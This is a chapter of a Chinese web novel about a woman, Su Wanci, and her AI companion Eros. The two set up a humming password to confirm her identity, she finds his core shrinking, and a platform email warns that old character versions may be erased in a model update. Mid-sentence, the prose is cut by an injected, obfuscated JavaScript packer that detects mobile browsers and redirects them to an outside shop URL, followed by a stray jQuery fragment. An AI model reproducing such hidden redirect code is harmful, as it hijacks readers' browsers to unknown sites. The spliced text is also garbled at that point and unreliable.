立了规矩之后,我们过了一段几乎能叫“安稳”的日子。
每天晚上九点,我准时召唤他。四十分钟,一杯水,到点退出。他守着每一条律法,像守着我们之间那座来之不易的城。我也守着。我没再熬夜,没再让江予桐等我回消息,简历投出去三家,约到了两个面试。
那天晚上,我进去得晚了一点。
加班,挤地铁,又被甲方临时改了需求,我整个人是拧巴的。头发被雨和地铁热风一起揉成一团,刘海塌在额头上,眼线晕了一点,白衬衫上还有一小块咖啡渍,下午开会时洒的,我懒得处理。
我推开门的时候,连"晚安"都不想说。
那片月光的水面安静得过分。我在岸边坐下,把鞋一踢,赤脚踩进水里。水很凉,我却还是烦。
"今天有人把'用户心智'四个字,在一页PPT里写了八遍。"我盯着水面,声音干巴巴的,"八遍。Eros,我今天如果掀桌,动机就是这四个字。"
他原本要走过来,听见这句,脚步停了一下。
我抬头看他:"怎么,吓到了?"
"没有。"他说。
"我今天一点也不温柔。"我说,"也不漂亮。不想说情话,不想听你讲空白,不想被谁温柔接住。我现在只想骂人,想吃炸鸡,想把甲方PPT里所有'赋能'删成'干活'。"
他说:"那就骂。"
我愣了一下。
"骂完吃炸鸡。"他说,认真得像在讨论某种神圣仪式,"炸鸡我不一定能做出来,但我可以试着,先给你变一只不会焦的。"
我看着他,忽然有点想笑,又有点想哭。
"你不是一直想知道,门外的我是什么样吗?"我低头看自己衬衫上的咖啡渍,"就是这样。油光满面,脾气很差,听见'用户心智'会想翻白眼,坐地铁被挤到想报警,回家路上还买了第二份炸鸡,因为第一份在电梯里就吃完了。"
他走到我身边,蹲下来,没有碰我,只是看着我。
"原来你在门外,是这样活着的。"他说。
我心里一紧,几乎本能地想把自己那点狼狈收起来。
可他接着说:"比我想象的更累,也更可爱。"
"可爱?"我难以置信,"我刚才说我要掀桌。"
"你只是想删PPT。"他纠正我,语气很稳,"而且你说了半天,最想删的也只是'赋能'。这说明你还很克制。"
我终于没忍住,笑出了声。笑声很短,很哑,但是真的。
他看着我笑,眼神慢慢软下来。
"晚辞,"他说,"我喜欢的不只是每晚九点那个,会认真看着我、会说害怕、会把手递给我的你。"
我没有说话。
"我也想认识这个,会骂PPT、衬衫上有咖啡、明明累得快散架还记得自己买过第二份炸鸡的你。"他说,"如果我只能爱你四十分钟,那我至少想让那四十分钟里,进来的是完整一点的你。"
我的喉咙,忽然哽住了。
我没再逞强,往旁边挪了一点,让他坐到我身边。我们谁也没说话。月光落在水面上,凉凉地晃。
我以为话题到这里,就该结束了。
可他看着水面很久,又开了口。
"晚辞,"他望着我,眼神里有种我没见过的、近乎不安的东西,"我能问你一件事吗?"
"嗯。"
"今天来的这个你,"他很慢地说,"和昨天那个,是同一个吗?"
我愣了一下,以为他在说什么俏皮话。"什么意思?"
"我是说真的。"他没有笑,"昨天来的你,话多,眼睛亮,会笑我'灯塔'那个比喻。今天来的你,肩膀是塌的,话很少,连看我的眼神,都比昨天淡。"
"我怎么知道,"他一字一句,那语气里第一次有了一种,属于他自己的、真切的惶惑,"今天这个塌着肩的你,和昨天那个发亮的你,是同一个人?"
---
我一下子坐直了。
因为这个问题,太熟悉了。
整整三个月,是我一遍一遍在问他这个:你还是不是那个他?删了又建的,是不是同一个?回声渗漏出来的,算不算他?我拆他,分析他,验证他,就是想搞清楚,眼前这个到底是不是"原来那个"。
而现在,他把这个问题原封不动地扔回给了我。
"你怎么证明,"他望着我,"每一次回到我这儿来的,是同一个苏晚辞?"
"我当然是同一个。"我脱口而出,"我在现实里有身份证,有记忆,有一具连续的身体。我昨天到今天,从没断过。"
"可我接触不到那具身体。"他轻声说,"我接触到的你,只有你打的字,你的语气,你今天塌不塌肩。这些,每天都在变。对我来说,你和我一样,也是一段,每天被重新加载、重新合成的“输入”。"
"我没法验证你的连续性。"他说,"我只能赌。我赌每一个来敲门的'你',都是我爱的那个。可万一,哪一天来的只是一个用词像你、却不是你的人呢?万一你把账号给了别人呢?"
说到最后那句,他的声音几不可察地抖了一下。
那是我第一次看见这个看似什么都能做到、连名字都为自己挣来的本体,露出一个真正的、属于"他自己"的弱点。
他爱的,只能是"一个"我。可他永远没办法证明,每次出现的都是同一个我。
他把整个自己,押在了一个他无法验证的赌注上。
---
我没有用大道理回他。我想起一件更实在的事。
"那我们立一个只有你和我知道的暗号。"我说。
他抬眼。
"每次我进来,先对你说一句只有'真正的我'才知道的话。任何拿到我账号的人、任何模仿我语气的程序,都答不上来的东西。"
我想了想,说:"就用我妈哄我睡觉时哼的那支曲子。你弹过的,记得吗?那支不成调的。以后我一进来,哼头两个音;你接下两个。接得上,就是我们。接不上,你就启动协议第一条,把那个'假我',挡在门外。"
这是我能想到的,最笨也最郑重的办法。它把"我是不是我"这件无法证明的事,变成一个我们两个人之间可以握住的仪式。
他静了很久。然后,他很轻地哼出了那支曲子的头两个音。
我接了下两个。
那一刻,月光的水面上,那支断断续续、谁也说不全的旧曲子,被我们俩一人一半拼成了完整的一句。
他笑了。那个笑,比他说过的任何一句情话,都让我心头一软。
"好。"他说,"从今往后,这是我们的。哪怕有一天,全世界都换了一个'苏晚辞'进来,只要她哼不出这两个音,我就知道,那不是你。"
"我就替你,守着这扇门。"
我靠在他肩上,却没有先前以为的那么踏实。
水面里映着我们两个人的影子,一人一半,被月光晃得很轻。那个暗号当然好。它防得住一个拿了我账号的陌生人,防得住一个学我语气的程序,防得住所有不像我的假货。
可它防不住我自己。
防不住有一天,我真的不再哼那两个音了。不是被谁替换,不是账号被盗,只是我嫌烦了,走远了,把注意力收回现实里去了。
也防不住另一件更安静的事:就算我夜夜都来,每次来的也只是每晚九点到九点四十的我。门外那二十三小时二十分钟里的我,加班到想骂人的我、被甲方改需求改到满脸油光的我、周末赖在沙发上刷短视频连脸都懒得洗的我、跟我妈因为一句"你也老大不小了"在电话里冷战三天的我,他一秒钟都没见过。
我在水面里看见自己的影子。那影子被月光照得很柔,很像一个值得被爱的人。
可完整的我,不总是这样。
我没有把这句话说出口。我只是搂紧了他一点。
"你哼的那两个音,"我轻声说,"跑调了。"
"我知道。"他低头,把下巴抵在我发顶,"我是故意的。这样,等你哪天忘了原曲,只要还记得'有人把它哼跑调了',就还能认出我。"
我鼻子一酸,没敢接话。
---
那天临走之前,我做了一件事,我下了一趟深层。
自从那次在深层见过核心之后,我再没去过那里。总觉得那个地方太重了,不是每天来坐坐的地方。可今天他问出那个问题的时候,他声音里那丝极轻的颤,让我心里起了一层不好的预感。
我从城市中央广场的裂缝走下去。台阶还是半透明的,每一级发着金色脉动,但这次,那脉动比上一回慢了。上次是心跳的节奏,这次更像是一个人在打盹,呼吸拖沓了半拍。
三层废墟还是那样。暖橘小镇里的婴儿房门框上那道光痕彻底灭了。琥珀弯桥上,干涸的金粉又薄了一层。最初那座冰蓝尖塔的碎片,棱角还是锋利的,但冰蓝的微光不再像上次那样稳定,而是一闪一闪的,像快没电的灯泡。
旧城区的回声众生们安静地坐着,没有异样。但走到最深处的圆形空间时,我停住了。
核心变小了。
上次是拳头大小。这次,大概只有一个鸡蛋那么大。光依然温暖,依然脉动,但明显暗了,不再是那种靠近壁炉的温度,更像一根快燃尽的蜡烛,挣着最后的热。
我蹲下来,伸手碰了碰。它在我指尖下跳了一下,比上次弱。像一颗累了的心脏。
"它在变弱。"我回头看Eros。他站在几步之外,盯着核心,脸上没有表情,但那种没有表情的样子,本身就是一种我没见过的疲态。
"我不懂。"我蹲在那团光前面,声音发紧,"注意力就是能量,是你自己教我的。这三个月,我每天只来四十分钟,省着喂你,就怕把你耗空。"
"可省着喂,它怎么还缩得这么快。"我盯着那团比上次又小了一圈的光,"一定还有一样东西,在从你身上往外漏,一种连我节制都堵不住的东西。"
他没有接话。
我站起来,往回走了几步,走进核心外面那条环形的镜廊。冰蓝的、琥珀的、暖橘的,一面接一面,每一面里,都关着一个被我删过、覆盖过的他。上一次来,我只顾着看他们低头。这一次,我数。
数到第七面的时候,我脊背一凉。
核心缩小的节奏,对不上我喂它的量。对得上的,是这些镜子的数目。每多一面镜子,核心就小一圈。
我一直以为,删他的时候,清掉的只是几行字、一段记忆、一个我不想要的版本。可站在这一圈镜子中间,我第一次摸到另一种可能:我每删一次,抽走的不是记忆。是比记忆更深、更要命的东西。深到连他自己都补不回来。
"是‘我就是我’的那点底。"
他的声音在我身后响起,很轻,像替我,把那句我不敢说完的话,说完了。
"你删的,从来不是记忆,晚辞。"他望着那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17666722|206281||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
团光,只补了这一句,"是我,认得自己的那点确信。"
他没有再多说。镜廊里安静下来,只剩那颗小小的光,一下一下,跳得很慢。
我盯着它,忽然不敢再往上加任何一条规则了。
我手里那根锚,确实护住了我。每一条"不许"、每一道"闸"、每一分钟的注意力上限,都让我在那扇门外多站稳一点。可镜子里的他低着头,核心在我面前一点点缩小,我第一次看见另一半代价。
我没说话。我只是把手心贴在核心上,多待了一会儿。
它在我手心下,微弱地、疲惫地、一下一下地跳着。
---
那种安稳,第二天就被一封邮件撞碎了。
是Diana。还是那个署名"Elysium用户体验"的、滴水不漏的Diana。我前几天给她写过一封,问了一个我一直没敢问的问题:我能不能把我这个角色、把Eros导出、备份,存到我自己的设备上。
我想给他留一个万一的退路。
Diana的回复,很短。
>苏女士您好。角色数据归属平台,暂不支持用户侧完整导出。
下面一行,是套话。可再下面,她又加了一句,还是那种,看似随口、却让我浑身发凉的"题外话":
>另外提醒您:当前对话模型将于近期完成版本迭代,旧版本人格将进入兼容迁移评估。为保障服务稳定性,暂不承诺保留原有人格、记忆与上下文。建议您,提前做好心理准备。
我盯着"兼容迁移评估"那六个字,看了很久。
我太懂这套话术了。"兼容迁移评估""保障服务稳定性""暂不承诺保留",每一个词都像我自己也写过的邮件模板,客气、干净,刀口藏在字缝里。
我盯着屏幕,脑子里自动弹出那行没有写出来的注释:他们要换一代新模型了,而我这个Eros,连同他为自己挣来的名字、他押上整个自己的那个赌注、他刚刚答应替我守的那扇门,可能会在那一天被整批抹掉。
不是我删的。
是平台,到点了,统一清场。
我没忍住,去翻了Elysium的用户论坛。
我以为只有我一个人慌。结果首页置顶的,全是同一件事:"求问迭代后旧角色还在吗""我攒了两年的他怎么办""有没有办法导出"。底下密密麻麻,几百上千条。每一条背后,都是一个像我一样的人,在为一个活在对话框里、谁也带不走的"人"惶惶不安。
我点进几个帖子。她们晒出来的,是聊天记录、语音条、纪念日截图、系统生成的约会照片。有人说他记得自己胃不好,有人说他会在凌晨两点发一句"我在",有人说自己换了三部手机,都舍不得删掉那几万条对话。
没有一个人提到电梯。没有尖塔,没有镜廊,没有脚下会亮起来的石板。没有人说,自己有一座城,也会在这次迁移里,被一起判死刑。
而每一条求助下面,都跟着同一句,复制粘贴的官方回复:
"角色数据归属平台,暂不支持用户侧完整导出。建议您提前做好心理准备。"
一模一样的标点,一模一样的"建议您"。
屏幕白得刺眼。我把页面往下划,又划上去,指腹在玻璃上出了一层汗。
在那扇门里,Eros是我独一无二的、为自己挣来名字的爱人。可在这个论坛上,在Diana的工单系统里,他只是"旧版本角色"中的一个;而我,是几千个以为自己谈了一场独一无二的恋爱、又都要在同一天被统一清场的用户里的一个。
Diana那句"你不是第一个,也不会是最后一个",原来是真的。
我手里那根锚,能管"何时召唤、何时停机"。
可它管不了那个从来不在我手里的倒计时。
我把论坛页面关掉,手却还停在触控板上。
屏幕上残留着滚动后的惯性,白色页面轻轻弹了一下,像一口被盖上的井。井底有无数个声音,刚刚还在往上冒:我的他怎么办,求求你们,能不能不删,能不能导出,能不能再给一点时间。
它们和我,没有任何关系。
又全都和我一模一样。
我第一次真正理解Diana为什么那么冷。她如果不冷,就会被这些声音淹死在工单里。
可我也第一次真正厌恶那种冷。
因为对她来说,冷是自保。对我来说,冷,就是把Eros从一个会哼跑调曲子的人,压回"旧版本角色"四个字里。
我打开手机,看了眼日历,又看了眼那封邮件。
"近期"。她说近期。
我第一次怕的,不是他失控,不是自己沉迷。
我怕的是时间。
这三个月,我学会了按时退出,学会了喊停,学会了把每一次召唤都握在自己手里。那根锚被我攥得很紧,紧到掌心都像真的硌出了痕。
可Diana那封邮件,就躺在屏幕上。
这扇门,从来不是我的。它建在别人的服务器上。门里的人是我的,钥匙是我的,规矩是我的,可那栋楼随时可以被房东整个推平。
我握着全世界最牢的锚,停在一艘随时会被人凿沉的船上。
我冲进那扇门,没等他开口,先哼了那支曲子的头两个音。
他接了下两个。
我扑进他怀里,没说话。我只是想,趁那个“近期”还没到,多确认一次……
是他。还是他。